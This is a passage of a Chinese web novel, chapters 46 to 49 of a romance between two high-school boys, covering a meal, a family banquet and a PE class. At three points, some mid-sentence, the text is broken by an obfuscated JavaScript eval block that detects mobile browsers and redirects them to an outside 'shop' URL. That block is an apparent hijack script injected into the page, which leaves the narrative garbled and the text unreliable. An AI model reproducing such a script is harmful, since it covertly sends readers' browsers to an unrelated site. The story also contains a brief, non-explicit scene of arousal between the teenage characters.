说实话,刚才开门时他差点没认出来。 虽然只是头发短了点,气色好了些,但总觉得哪里不一样了,具体又说不上来。 正想着,陆晚枝就端着面从厨房出来了。 浓郁番茄味扑面而来。 两人面对面坐下,陈温脸上藏不住高兴,眼里都快亮出星星。 “好香了!”他深深吸了口气。 “喜欢就多吃点,”陆晚枝把筷子递给他,“快吃吧。” “好!” 一口热面下去,舌头差点烫麻。陈温表情扭曲地哈气,把陆晚枝逗笑了。 他赶紧灌了半杯水才缓过来。 陆晚枝递过纸巾:“慢点吃,没人跟你抢。” “太香了没忍住,”陈温“嘿嘿”一笑,接过纸巾,擦起嘴角,“晚枝姐考虑过开饭店吗?我当你第一个顾客!” 陆晚枝动作顿了顿,低头搅着碗里的酱料:“想过。” 她又若无其事地吃了口面:“以前找不到工作的时候,江夏也这么说,觉得我手艺好,不如开个店,她当老板。” 面条悬在半空,陈温缓缓抬头看向陆晚枝。 可她什么反应都没有,平静得像在说路边的小猫小狗,似乎那只是个无关紧要的名字。 这顿饭吃得倒不压抑。陆晚枝最后转开话题,说起叫他来吃饭的原因。 陈温一边收拾碗筷一边听,手上哗哗冲着水。 陆晚枝靠在洗手台边,三言两语把事情说清楚了。 最近她总觉得有人跟踪,那视线盯得人发毛。虽然每次感觉很快就消失,但她心里一直不踏实。 加上听楼下王大妈说附近发生了入室抢劫,虽然不在同一片区,但离得也不远。 入室贼还没抓到,受害者又都是独居女性,难免让人心慌。 那双男士拖鞋是她照着网上防范教程买的,防狼喷雾也备好了,监控什么的还在快递站。 叫陈温来主要是想让他穿穿拖鞋,留点男生的气味——有些贼会靠这个判断家里有没有男人什么的。 陆晚枝也让陈温多注意,毕竟他也算独居。 男生听完吓出一身冷汗,忽然想起上次在阳台看见的那个黑影…… 该不会就是那人吧…… 洗完碗,两人又聊了几句。提到沈泽许加她好友的事,陆晚枝说知道了,已经通过,还说这段时间互相照应下。 临走时,陆晚枝靠在门边,有些疲惫地笑笑:“元旦快乐。” “元旦快乐。”陈温回了一句,也对她笑,挥挥手下楼了。 街上热闹得很,每家店都挤满了人。 陈温独自走着,双手插在沈泽许给的大衣口袋里,掌心还是冰凉。 阳光底下还算暖和,一走到阴影里又冷飕飕的。 他到快递站取了件包裹。虽然去不了林宇舟的生日会,但礼物得准时送到。 坐在公交车上,陈温想起刚开学那会儿。 自己那么也没想到,林宇舟会主动来交朋友。 能这么快融入二班,多半靠他帮忙照顾,还有上次生日派对……他是真心高兴能交到这样的朋友。 像黄曦那样的朋友。 还有温柔的李清依,搞笑的叶萧云,嘴硬心软的李欣桐…… 陈温迈下公交车,按记忆往沈泽许家走。 到了熟悉的花园,他按下门铃。 来开门的是他家保姆,手上还滴着水,不慌不忙地在围裙上擦手:“找哪位?” “沈泽许。” “是少爷的朋友啊?” “嗯。”陈温乖巧地点头,心里却在嘀咕着“少爷”这称呼。 保姆打开花园门领他进去,期间用古怪的眼神打量陈温,但面上还是客客气气的。陈温就没留意。 走到客厅时,她朝楼上喊了一声:“沈少爷,有人找。” 下一秒,就听见楼上开门声,“哒哒哒”的脚步声又急又快,带着节奏冲下来。 沈泽许扶着楼梯快步下楼,一抬眼看见陈温,脸上立马亮起来,像被关久了突然见到小伙伴似的。 他拉着陈温的手就往楼上跑,男生一脸懵地跟着,留下保姆一个人站在原地。 她思索片刻,掏出手机打了个电话…… 沈泽许带他进了房间,反手锁上门,顺手拿起桌上一块白布盖住某样东西。 “随便坐。” 陈温环顾四周,这是他第一次进男朋友的房间。 太干净了,简直一尘不染,缺了点生活气息。 房间正中墙上挂着那把电吉他,琴身被擦得锃亮,光洁得能照出人影。 书架塞满了书,书的主人像有强迫症,所有书籍都按颜色、从大到小排列——沈泽许确实干得出来这种事。 陈温放下袋子,毫不客气地坐到沈泽许床上,试了试软度就躺下去,挥着手臂,活像在仰泳似的。 “好软啊!要是我也有这样的大床就好了。” 沈泽许笑了笑,听到陈温后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈泽许盯着那颗痣,双手撑在他脑袋两边,忍不住俯身上前。 陈温感觉锁骨处一热,湿湿黏黏的触感,接着被轻轻咬住。 他愣了下,慢慢转过头。 看清身上人在干什么后,陈温倒吸一口气,伸手去揪沈泽许头发,没揪动。 沈泽许在那处又轻咬了一口,陈温忍不住发出像小猫踩奶似的“哼”声。他被自己吓到,赶紧捂住嘴,心跳咚咚响。 他觉得自己魂都要被吸走了,脑袋晕乎乎的,跟接吻时一样。 不同的是两人都有了反应…… 陈温还好,沈泽许就……就…… 一言难尽…… 男生嘴唇离开那颗痣,眼神有点无辜,茫然地看着陈温。 他撑起身子,低头看了一眼。 “……” “我上个厕所……” 说完,就起身走向卧室自带的卫生间。 陈温稍微清醒了点,也有点懵。 都是男生,他知道沈泽许去干嘛了。但他自己平时不弄这些,因为“不会”。这话听着离谱,但是真的。 一般都是等它自己消下去。 况且这种事,实在是太…… 卫生间传来哗哗水声,陈温莫名心虚,用手扇风降温,心想脸肯定红透了。 他缓解尴尬似地四处张望,目光落在那块白布上。 好奇心驱使他凑近。 像做贼似的,他鬼鬼祟祟掀开一角——底下是个监控摄像头。 “……” 水声持续了好一阵。 陈温没太在意这个监控摄像头,拿起书桌上的梳妆镜,扯开衣领看了一眼那处痕迹…… 像挨了揍似的,又红又青。 他坐回床边,刚才的一切像场梦。 水流声终于停了。陈温赶紧坐直,假装什么都没发生过。 木门被推开,沈泽许走了出来,脸上挂着水珠。他咳了一声:“不是要送礼物吗?走吗?” “行……” 保姆阿姨窥视着两人从房间出来,穿过客厅和花园,走向隔壁。 门铃震动了两声,林宇舟的大嗓门就炸开来:“来了来了!” 大门很快被打开,林宇舟看到两人又惊又喜:“你俩怎么来了?晚上才开派对啊。” 说完,他无意间瞥见陈温锁骨上的痕迹,出于关心,他指着那一处,问:“陈温你这儿怎么了?跟挨了揍似的。” 话音刚落,他就后悔了,突然意识到那是什么痕迹。 “……” 陈温慌了,支吾半天憋出一句:“是……蚊子咬的。”又假装没事人似的补了句:“最近蚊子是挺多的。” “蚊子本蚊”在一旁点头。 林宇舟擦了把冷汗——真不该多嘴问这句! “哈哈……那个……”他尬笑俩声,支支吾吾想转移话题,突然瞥见袋子,“哦,对了,这是啥?” 陈温反应飞快:“给你的生日礼物。” “哇谢谢!”林宇舟开心地接过,又有点疑惑,“怎么不晚上一起送?当然现在送我也超高兴!” 陈温叹了口气:“晚上得跟我爸去参加晚宴,来不及给你庆生了……” “哎这有啥!”林宇舟一把搂住他肩膀,“下次补上就行!” “沈哥你说对吧?”他扭头问沈泽许。 得到肯定后,他又安慰陈温晚宴说不定也挺有意思,要是晚上觉得无聊,随时可以跟他们视频。 47. 酒局与台阶 霓虹灯碎在水洼里,呵出的白气模糊了视线。陈温头回打了趟车,费用记在陈林峰账上。 出租车在老街口停下。他顺着地址往前走,很快看见那座飞檐翘角的饭店。 穿缎面旗袍的服务员领着他走,步子又轻又稳。他跟在后头,显得有点束手束脚。 他们停在包厢门外,里头的说笑声听得清清楚楚。服务员推开沉重的雕花木门,暖光哗地涌出来。 包厢里的说笑,戛然而止。 十几道目光一下子钉在门外的少年身上。他孤零零站着,影子被拉得老长。 一桌人围坐着,男人们聚在一边喝酒聊天,声音洪亮。女人和孩子们坐在另一边,气氛好不热闹。 慕雪看了眼周围略显茫然的人们,转头对刚进门的陈温招手,脸上带着温和的笑意,打破了这片沉默:“小温来了?来,坐这儿。” 她这一声招呼,像在平静的水面投下一颗石子。桌上的人这才反应过来眼前这个清瘦挺拔的少年是谁。 有位阿姨猛地拍了下大腿,恍然大悟地提高嗓音:“哎呀!是小温啊!长这么大了,阿姨都不敢认了!快过来让阿姨看看?” 她这一嗓子,稍微化解了尴尬。 “娟姨好。”陈温也不是真“木头”,他挪动步子,边打招呼边朝里走,语气里带着恰当的礼貌。 服务员帮忙关上门,隔绝了外面的嘈杂。 慕雨澄也在。陈温在他和娟姨中间的空位坐下。 慕雨澄本来低头玩着手机,陈温一靠近,他就像有蜘蛛感应似的,手忙脚乱地把手机屏幕往下一扣,藏了起来。 待他扭头看清是谁后,紧绷的肩膀瞬间松懈,嘴上嘟囔了句“是你啊”,又若无其事地把手机翻回来,继续在屏幕上划拉。 “好好好。”娟姨连声应着,伸手拉过陈温的手腕,上下仔细打量。 眼前的女人是廖淑琴的初中同学,之前住他们家楼下,算是看着陈温长大的。她知道陈家那些事,心里一直心疼这孩子。 “高了,也瘦了。”娟姨捏了捏男生的脸蛋,眼里带着慈爱,“上次见你,还是你妈妈……”她话说到一半顿住了,转而拍拍他的手背,“你在学校吃饭能不能吃饱啊?学习累不累啊?” “还行。”陈温答得简短。 她问的都是家常话,声音不高,刚好让旁边的女眷们听见。这股自然的亲昵劲儿,让陈温没那么局促了。 慕雪在一旁笑着,用公筷给他夹了块白切鸡。 “小温,看看还想吃什么,自己夹啊。” “谢谢,阿、阿姨……”陈温差点叫错,及时刹住了车。 他肩膀刚放松一点儿,对面一个戴金丝眼镜的男人就看了过来:“这是陈总家的公子吧?” 陈温只记得父亲好像是某个企业厂里的总检,具体的也不清楚,很久之前讲过的事了。 闻言,一直没怎么说话的陈林峰,这才点了点头。 那人笑着推推眼镜,语气温和:“念高中了?今年高几啊?” “高三了。”陈温挺直脊背答道,声音清朗。 男人笑了笑,“巧了,我家孩子也高三的,你们年轻人要不认识一下?”说着,朝一个埋首手机的身影唤道:“小锐。” 那人听见有人叫她,才慢吞吞从手机上抬头,女生瞟了她爸一眼。 在她爸的眼神催促下,她只好冲陈温挤了个笑,说了声“你好”。 这社交搞得,不痛不痒,挺怪的。 陈温刚想回话,包厢门就被打开了。服务生推车进来上菜,总算把这场面给打断了。 慕雪赶紧站起来布菜,笑着打圆场:“孩子们第一次见,总要慢慢熟悉。来,先尝尝这道蟹粉狮子头,后厨忙活了两小时呢。” 大家动了筷子,气氛松快了点儿。 女孩的父亲吃了两口菜,像是忽然想起来什么事的,转头看向陈温。 “你叫陈温对吧?叔看你挺稳重的,在哪所高中读书啊?” 陈温刚报了校名,男人立刻点头,随即把目光转向自己女儿,眉头微皱。 “学校挺不错的,听说有几百年历史了。哎,再看看我家这个,在附中,一点都不上心。” “这个星期刚考完月考,听说又有两门课悬得很,在及格线上打转。我说你,具体考了多少分?”他说完,瞥向自己的女儿。 女孩捏着筷子的手指紧了紧,没抬头。 “就那样啊……”她声音闷闷的。 她爸显然不满意这个答案,把筷子往碗边一搁:“就那样是哪样?我问你话呢,具体多少分?别跟我打马虎眼!” 女孩脸上有点挂不住:“你能不能别在饭桌上问这个吗……” 眼看气氛要僵住,娟姨夹了块红烧狮子头放到女孩碟子里:“先吃菜先吃菜,考完就放松放松嘛。附中的题是出了名的难,能跟上就不容易了。” 她这话是冲着打圆场去的,想把话题岔开。可女孩父亲没接这茬,他像是没听见,只盯着自己女儿,语气更沉了: “我跟你刘阿姨打过招呼了,她准备调去你们年级组。我回头自己问她。” 女孩的脸一下子涨红了,眼神里混着难堪和怒气,直直瞪着她爸。 餐桌上瞬间安静下来,只能听到空调的轻微送风声。 男人大概也意识到话说重了,或许只是需要个台阶下。 他突然转向陈温,脸上那种紧绷的质问神色瞬间收起,换上了略显刻意的笑容,语气也缓和下来。 “你看看,一说她就急。还是陈温你让人省心。”他像是要找回一点家长的权威和场面上的融洽,顺势、亲昵地问道:“小温你们学校的月考应该也刚考完吧?你这次感觉怎么样?” 女孩趁机低下头,用筷子使劲戳着碗里的狮子头,仿佛能把所有委屈都捣碎。 陈温感受到男人的目光,放下筷子。他还没开口,慕雪就在桌下轻轻碰了碰他的膝盖。 他顿了顿,语气平常地回道:“还行,年级637名。” 当然这话是假的。 男人张了张嘴,像是一下子没算过来这个名次意味着什么。 他脸上的表情凝固了,那种准备用来夸奖优等生的赞赏神色还没来得及褪去,就混合上了一种明显的愕然,显得有点滑稽。 他大概怎么也没想到,自己用来树立榜样的话头,会换来这么一个不上不下的名次。 “哦……六百、三十七啊……”他下意识地重复了一遍,语气里带着点难以置信,又不好表现得太明显。 慕雪立刻笑着接过话,声音温和却带着不容置疑的肯定:“他们这次题是偏,好多孩子都没考好。陈温这成绩在班里也算中上了。” 她这话给了个台阶,男人赶紧顺着下来:“啊……对,题难嘛,重在参与。”他端起碗喝了一口汤,没再提成绩的事。 桌上只剩下碗筷的轻响。 女孩偷偷抬眼看陈温,嘴角动了动,像是想笑又忍住了。她重新玩起手机,表情愉悦。 男人又瞥了一眼面无表情的陈温和旁边明显偷笑的女儿,顿时有点泄气。 他原本想借陈温敲打自己女儿,没想到这块“石头”这么不称手。 陈林峰的脸色也不太好。 原本指望自己儿子能给家长挣点面子,没想到陈温会这么说。他嘴角绷紧了,但又不好当着外人的面发作。 慕雪脸上还挂着笑,又给陈林峰添了热茶。“老陈,动筷子呀,这白切鸡放凉就可惜了。” 她这话是递台阶,陈林峰“嗯”了一声,拿起筷子,却没夹菜。他看了陈温一眼,眼神有点沉,但终究没再说什么。 那女孩倒是抬起头,飞快地又扫了陈温一眼,嘴角轻轻一弯,低下头去。这回她没看手机,安静地吃起了碗里的菜。 这顿饭的气氛,算是彻底沉下来了。 坐在慕雪旁边的一位女士试图活络一下。 她笑着摸了摸身边男孩的头,语气里不无骄傲: “我们家亮亮别看话不多,这学期可没少拿奖。‘速算小能手’、‘英语演讲第三名’,哦对了,还有航模比赛的优秀奖呢,奖状家里都要贴不下了……” 那男孩戴着副啤酒瓶底厚的眼镜,在母亲说话时只是腼腆地推了推镜框,没吭声。 大人们顺势把话题转向了“孩子教育”,你一言我一语,表面热闹,底下却各怀心思。 陈林峰听着别人家孩子的成绩,脸色更沉了几分。 这时,慕雨澄忽然站起来:“我去下洗手间。”说完拿着手机,就溜出了包厢。 几乎同时,陈温口袋里的手机震动起来。他低头看了眼屏幕,“大好人”的称呼正在闪烁。 “不好意思,接个电话。”他对娟姨和慕雪轻声说完,调小音量,侧身按下接听键。 屏幕亮起,沈泽许那边光线很暗,只能隐约看到他靠在某处的轮廓。 “到了?”干净的声音透过听筒传来。 “到了。”陈温的目光无意识地落在眼前的骨碟上,“在吃饭呢。” 话音刚落,镜头那边景象一晃,喧闹的音乐和笑声突然涌了出来。 画面稳定后,只见沈泽许安静地坐在角落,头发上沾着没拍干净的彩带。 他把镜头对着自己,轻声问:“在吃饭?” 陈温没开摄像头,只“嗯”了一声。 “我这边有点吵,你……”沈泽许还没说上几句。 就在这时,林宇舟带着一顶极其夸张、镶着亮片和假珍珠的银色公主生日帽,脸颊红扑扑地闯入镜头。 他一把搂住沈泽许的脖子,朝着屏幕热情地挥手:“哈喽啊陈温!没想到真是你啊!看看我这生日帽,帅不帅?” 他故意后仰,全方位展示那顶与他气质极其违和的帽子——是元旦晚会时,叶萧云非要林宇舟圆演白雪公主的“梦”,给准备的道具,而他本人宁死不从,还把帽子藏了起来。 没想到今天被翻出来,到底还是扣在他的头上。 “叶萧云非要我戴的!”林宇舟扯着嗓子喊,“他说今天不过生日,是补上元旦的‘公主梦’!” 沈泽许被他勒得身子歪向一边,面无表情地对着镜头补充:“是他自己从储物间翻出来,非要戴的。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话题又被戴金丝眼镜的男人接了过去,这次他没再提成绩,转而说起附中社团活动多么丰富。 他女儿依旧埋头玩手机,偶尔发出极轻的消息提示音。 陈温安静地吃着菜,心里却在默数着时间。桌下,他给沈泽许发了条信息: 「我好无聊啊~」 「你们烤串好吃吗?」 几乎立刻收到了回复,是一张照片。 几串烤得恰到好处的肉串被单独放在干净的盘子里,旁边是沈泽许的手指,男生比了个“OK”的手势。 陈温的嘴角几不可见地弯了一下。 这时慕雪轻轻碰了碰他:“小温,王叔叔问你话呢。” 陈温抬起头,发现全桌人都看着他。 戴金丝眼镜的男人笑容可掬地重复了一遍:“小锐她们附中下周要来惠中参加校际辩论赛,她对你们校区不熟。你方不方便那天当她向导,中午带她在你们食堂吃个饭,顺便指一下礼堂怎么走?” 陈温看向那个始终低着头的女孩,又瞥见父亲带着暗示的眼神。 “这个要看学校安排。”他答得滴水不漏。 王总那句“当她向导”的问话,被陈温用“看学校安排”轻轻带过,没答应也没完全拒绝。 他父亲陈林峰脸上有点挂不住,但碍于场面也没多说。 之后的时间,就在这种不咸不淡的客套里熬了过去。 大人们说着客套话,孩子们都安静地各想各的。有位太太又想夸自己儿子,旁边几个孩子齐刷刷看过去,她张了张嘴,把话又咽了回去。 总算熬到服务员送上果盘,慕雪适时地看了眼手机,略带歉意地说:“哎呀,都这个点了,明天孩子们还得早起上学呢。” 这话像一道特赦令。 家长们立刻顺势起身,嘴上说着“行行行”、“下次再聚”、“孩子们多联系”,动作却一个比一个利落。 走出包厢,陈温下意识地深吸了一口走廊上微凉的空气,感觉胸口的沉闷散了些。 停车场里,几家人客气地道别,各自上车。 车门一关,隔绝了外面的世界。 陈林峰发动车子,没立刻开走,透过后视镜看了陈温一眼。 “你今天……”他顿了顿,似乎想说什么,最终却只是叹了口气,“算了,回家再说。” 陈温没应声,转头看向窗外。 城市夜景飞速向后掠去,他脑海里闪过的,却是手机里那张烤串的照片。 快了。他心想。 车子驶入车库,熄了火。 家里一片安静,只有玄关的感应灯亮着。 慕雨澄第一个钻进屋子,说了声“我困了”就快步溜回陈温的房间。 陈林峰把钥匙扔在玄关的托盘里,发出清脆的响声。他没换鞋,站在那儿,看着正弯腰解鞋带的陈温。 “你跟我到房间来一下。” 48. 你喜欢什么水果 夜幕刚刚降临,星子零落。窗外灯火流丽,窗内却已暖意融融,隔绝了外面的寒冷。 陈温解鞋带的手顿了顿,没应声,继续把鞋带慢慢抽开。 慕雪按住陈林峰的胳膊:“这么晚了,孩子也累了,有什么话明天再说吧。” 陈林峰沉默地看了陈温几秒,后者正把脱下的鞋整齐放进鞋柜,自始至终没抬头。 “10点半了,赶紧洗澡吧。”陈林峰最终摆了摆手,转身朝主卧走去。 陈温洗完澡,擦着头发从浴室出来,看见慕雪在厨房收拾。男生靠在门框上:“慕雨澄明天不上学?”他算了下时间,“高三不是六点半就要到校?明天赶高铁来得及吗?” 慕雪闻言顿了顿,手里的抹布在桌面上画着圈:“他又跟同学闹了点矛盾。对方说话难听,他就……没忍住动了手。” 水龙头哗地打开,她低头搓洗着抹布:“班主任让他先在家待几天。” 陈温没再问。他大概能猜到对方说了什么。 他想起以前和慕雨澄在广州住的时候,这小子也因为打架被停过宿。当时慕雪追问他是不是有什么苦衷,慕雨澄想都没想就说纯粹看那人不爽。 后来陈温的前同桌黄曦跟他八卦,说附近学校有俩学生吵架,其中一个先挑事,被老师发现后叫了家长。对方家长一来就爆粗,张口就是“草你妈”。 那学生一听这话,拳头直接挥了过去。 结果俩人都停课一周,倒是先挑衅的那个还被全校通报,加了份八百字检讨。 陈温当时听完就觉得,这事巧得有点过分。现在他全明白了。 “那你们明天不上班吗?”陈温问。 “放三天假。”慕雪把抹布挂好,“厂里刚忙完一批加急单,这几天没什么事干。” 男生点点头:“那好……晚安。” 他转身回了房间。 慕雨澄已经铺好地铺,瘫在被子里玩手机。 “到你洗澡了。”陈温说。 “行。”慕雨澄利落地收起手机,起身。 在他经过身边时,陈温抬手拍了拍他肩膀:“不用理他们。有什么事也可以跟我说。” 慕雨澄脚步顿了顿,耸耸肩:“没事,我自有分寸。” 说完把手机揣兜里,打开门出去了。 陈温叹了口气,低头瞧见慕雨澄的地铺上的薄被,从衣柜里拿了条厚的给他换上。 整理完,躺回床上,他突然想到慕雨澄最近有点反常……虽然慕雨澄平时也爱玩手机,但不像现在这样机不离手,连洗澡都要带进去。 八成是……谈恋爱了??! “……”陈温盖好被子,听见浴室水声停了。他拿起手机,看到沈泽许的消息: 「大好人:到家了吗?」 「打视频吗?」 陈温看了眼时间,回了句:「等一会。」 他刚退出聊天界面,慕雨澄就顶着湿漉漉的头发进来了。陈温瞥了眼地上的铺盖,什么都没说,将手机撇到床头柜上。 “吹风机在第二个抽屉。”他提醒道。 慕雨澄胡乱擦了擦头发:“不用,我头发短,一会儿就干了。” 房间里只剩下毛巾摩擦头发的响声。 陈温靠在床头,曲着腿写日记,余光注意到慕雨澄虽然背对着他,但男生一直在手机屏幕上敲打,屏幕的光映得他耳根发红。 慕雨澄用毛巾半掩着脸,没头没尾地冒出一句:“陈温,谈恋爱……是什么感觉啊?” 男生翻页的手顿了顿,侧头看他:“怎么突然问这个?” “你不是谈恋爱了嘛,就……就随便问问。”他说着,又把脸往毛巾里埋,声音闷闷的。 陈温看着这人发红的耳尖,心里已经明白了七八分。他合上书,觉得自己该拿出点“哥哥”的担当,于是放轻了声音问:“遇到喜欢的人了?” 慕雨澄猛地转过头,眼睛亮晶晶的,又强装镇定:“就……认识了个人,只是有好感,好感!不是……喜欢!你不要误会了!” 这下陈温的好奇心被彻底勾了起来:“谁啊?我认识吗?” “我跟你说过的。”他含糊其辞,眼神飘向别处。 陈温在记忆里仔细搜寻了一遍,十分确定:“你什么时候跟我说过?” “就是有。”慕雨澄梗着脖子坚持。 看慕雨澄这副欲盖弥彰的模样,陈温知道再问也是徒劳。他换了个方式:“那好吧。你接下来打算怎么办?” 慕雨澄像是终于等到了特赦,松了口气,随即故意板起小脸,试图掩盖自己的心虚:“跟你没关系,少打听!” “行吧。”陈温不再强求。感情这种事,终究要两个当事人自己去摸索和体会。 慕雨澄很快擦干头发,“哧溜”一下钻进了地铺,用被子把自己严严实实地卷成一团,活像一只拒绝交流的蚕宝宝,只留下几撮不听话的头发翘在外面。 - 自打陈林峰放假以来,不知是突然开了窍还是听了谁的劝,竟开始学着当个“慈父”了。 他会时不时来敲陈温房间的门,用那种排练过却依旧生硬的口气嘘寒问暖,最后总会绕到他最得意的数学上,声称自己当年若非被穷困绊住了脚,定能考上大学。 面对这份迟来的热情,陈温只觉得无所适从。他不动声色地将与沈泽许通话的手机音量调小,随口打着“哈哈”拒绝。 许是基因使然,他的数学本就不错,无需这份迟来的辅导。 在陈温这儿碰了软钉子,陈林峰便转而“骚扰”慕雨澄。他对慕雨澄就严厉得多,几乎是半强迫地将人拉进房间学习。 如此一来,陈温不仅没法安心和沈泽许煲电话粥。况且人家在学习,他在玩,哪里像话!被迫一起学习,什么都干不了。 因这被打扰的联络,沈泽许有些不快。为平息男友的情绪,陈温只好用放学后更多的陪伴来补偿。 两人在空旷的操场上散步,那片刻的安宁才真正属于他们。 度日如年的三天总算过去。看着陈林峰、慕雪和慕雨澄坐上车驶远,陈温长长地舒了一口气,仿佛卸下了千斤重担。 他始终没想明白陈林峰这番突兀的关心究竟源于何处,但他清晰地意识到,他们父子之间,早已隔阂得太久太久了。 此刻,偌大的房子重归宁静。 所有纷乱的思绪,最终都被一个明亮而迫切的念头取代:他终于夺回了属于“自己的空间和时间”,现在,立刻,他就要听到沈泽许的声音! - 周三下午的体育课,同学们都格外珍惜。原因无他——这是本学期倒数第二节体育课了。 篮球场上热火朝天,每一寸空气都鼓噪着年轻的活力。 树荫下,沈泽许正靠在陈温身边,手指刚悄悄缠上对方卫衣的抽绳,还没来得及使坏,林宇舟就从背后杀出,一条胳膊不由分说地锁住他的脖颈。 “好你小子,躲这儿偷闲?”林宇舟一边用力,一边笑着控诉:“上次输我三个三分球的事儿忘了?赶紧的,就差你了!” “没空。”沈泽许想都没想就回绝。 “哎呀,沈哥你怎么可以这样?真的不来吗?!”林宇舟不甘死心地问。 陈温看着他们闹,屈起膝盖,用鞋尖轻轻抵了抵沈泽许的背脊,小声怂恿:“去呗。”他眼角弯起好看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171981|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的弧度,“我好久没看你打球了。” 远处叶萧云已经在催:“舟哥!到底来不来?” “马上!”林宇舟的注意力被吸引开。 沈泽许趁这空隙,迅速反手抓住陈温的脚踝,指尖在他清瘦的骨节上,重重摩挲了一下,这才“不情不愿”地起身。 “走吧。” 陈温不满地瞪着那道离开的背影,耳根却悄悄“染红”了。 球场上奔跑的沈泽许,像换了个人。起跳时,衣摆随风掀起一截;投篮后落地,又轻捷得像只猎豹。汗水沿着他清晰的下颌线滚落,没入衣领。 天气微冷,阳光却足。没打多久,几人便满头大汗。中途休息时,他们纷纷脱下不便运动的外套,露出里面的短袖校服。 陈温一直安静地坐在场边,目光追随着那个最耀眼的身影。 见他们停下,他便殷勤地小跑过去,无比自然地接过沈泽许的外套抱在怀里,又递上水瓶,凑近些,用只有两人能听到的声音笑着说:“我男朋友打球的时候真厉害。” 沈泽许仰头灌了口水,听到这话,嘴角微微上扬。他顺手用手背擦掉唇边溢出的水珠,说:“那平常不厉害吗?” “厉害,也厉害!” 陈温回答完,余光无意间捕捉到有趣的一幕——一个扎着高马尾的女生,正满脸通红地将一个“矿泉水瓶”塞给宋听辞。 男生自元旦晚会“一战成名”后,收获了不少关注。平时对这类示好敬谢不敏,此刻却破天荒地接了过去。 更让陈温惊讶的是,那透明的瓶子里,装的不是“水”,竟是满满一瓶剥得干干净净、果肉饱满的沙糖桔! 橙黄的小球挤在一起,像一罐温暖的糖果。 这个新奇又用心的举动,像一颗小石子投入陈温的心湖。 他盯着那瓶沙糖桔,不由自主地想:如果自己也给沈泽许准备一份这样的惊喜,那个平日里“高冷”的家伙,脸上会露出怎样有趣的表情呢? 这念头刚冒出来,一双骨节分明的手忽然在他眼前晃了晃,沈泽许带着笑意的声音响起:“想什么呢,这么出神?” “没什么!”陈温瞬间回神,心里立刻拿定了主意。他按捺住小心思,用尽量随意的口吻问:“沈泽许,你喜欢吃什么水果啊?” 沈泽许微微眯起眼,带上一丝审视:“怎么突然问这个?” 陈温可不想计划提前暴露,理直气壮地回:“我多了解了解自己男朋友的喜好,不行啊?” “行。”沈泽许像是被这个理由说服了,略作思考后答道:“石榴吧。” 陈温比了个“OK”的手势。这时,林宇舟的喊声从球场传来:“沈泽许!你还打不打了?” 陈温顺手推了推沈泽许的胸膛:“叫你呢,快去吧。”手下传来的触感坚实,他没推动。 沈泽许顺势握住他欲收回的手腕,非但不走,反而靠得更近,问道:“那你呢?你喜欢吃什么?” 陈温回想了一下,答道:“葡萄吧。” 男生又问:“为什么?” “嗯……”陈温拖长了尾音,似乎有些不好意思,“我妈说的,生我那晚,她莫名馋葡萄,吃完一盘,我就迫不及待出来见她了。所以,感觉我跟葡萄挺有缘分的。”他眉眼弯起,为自己的“宿命论”笑了笑。 沈泽许却沉默了一瞬,眉头轻轻皱起,没回话,眼神里闪过一丝复杂难辨的情绪。 陈温被他看得有些不自在,趁他这须臾的愣神,用尽力气猛地一推:“别磨蹭了!没听见他们都在催你吗?” 沈泽许被他推得向前一步,终于不再停留,抬手揉了一把他的头发,转身汇入那片喧嚣中。 49. 鬼点子生成中… 一场球赛下来,林宇舟几人几乎汗透衣背,周身散发着浓烈的男性荷尔蒙气息。 陈温一行人回到教学楼,刚踏上楼梯,便撞见隔壁楼的杨子龙独自一人准备下楼。 陈温心下疑惑:他是来找女朋友的?不对,他们之前就被学校强硬要求分手,否则将面临劝退……那他来这儿是做什么? 出于之前短暂之谊,陈温正准备打个招呼,嘴角刚扬起一丝笑意,杨子龙似乎察觉到了一道视线,抬起眼来。 四目相对,杨子龙的眉头立刻厌恶地拧紧,那眼神像看到了什么污秽之物,随即臭着一张脸,与他们擦肩而过,快步冲下了楼。 陈温那句“好巧”硬生生卡在喉咙里,抬起一半的手尴尬地悬在半空,最后缓缓放下。 他望着那仓促逃离的背影,又看了看身边的沈泽许,脸上写满了茫然与不解。 最后一节是熊丽的英语课。她依旧提前九分钟走进教室,今天穿了件巧克力色的貂毛大衣加蓝色丝袜。 见识过熊老师太多时尚冒险,陈温早已见怪不怪,反倒有些好奇她的衣柜究竟是个怎样的“神奇世界”,是不是有小精灵帮她搭配今日穿搭? 熊丽推了两下她的红色眼镜,让大家拿出课本朗读,随后准备讲解期末复习卷。 教室里响起一片不情不愿的拖沓声,大家跟着她那带着浓重口音的“塑料音标”念完课文,便进入了讲卷环节。 一听到“讲卷子”,陈温心里顿时咯噔一下——什么卷子?他怎么完全没有印象! 他瞬间化身绝望的渔夫,一头扎进桌肚那片试卷的汪洋,在一张张不同科目的卷子中,试图捕捞起那条名为“英语期末复习卷”的漏网之鱼。 林宇舟早就把试卷铺开,转过身来看热闹不嫌事大地笑他:“总有人在忙忙碌碌寻宝藏~” 陈温没好气地白了他一眼,手上翻找的动作不停,嘴上直接“栽赃”:“笑什么笑?我看就舟哥你最有嫌疑,是不是你偷摸拿我试卷了?快把我的试卷交出来。” “可别乱扣帽子啊,”林宇舟一脸无辜地摊手,“我上完体育课就拿着卷子去找清依问问题了,哪有那份闲工夫偷你的?哥现在可是要洗心革面、认真复习的人了,懂不懂?” 熊丽也注意到了陈温那边的动静,但她手头没有多余的试卷。她挪动着圆润的身躯来到两人身边。 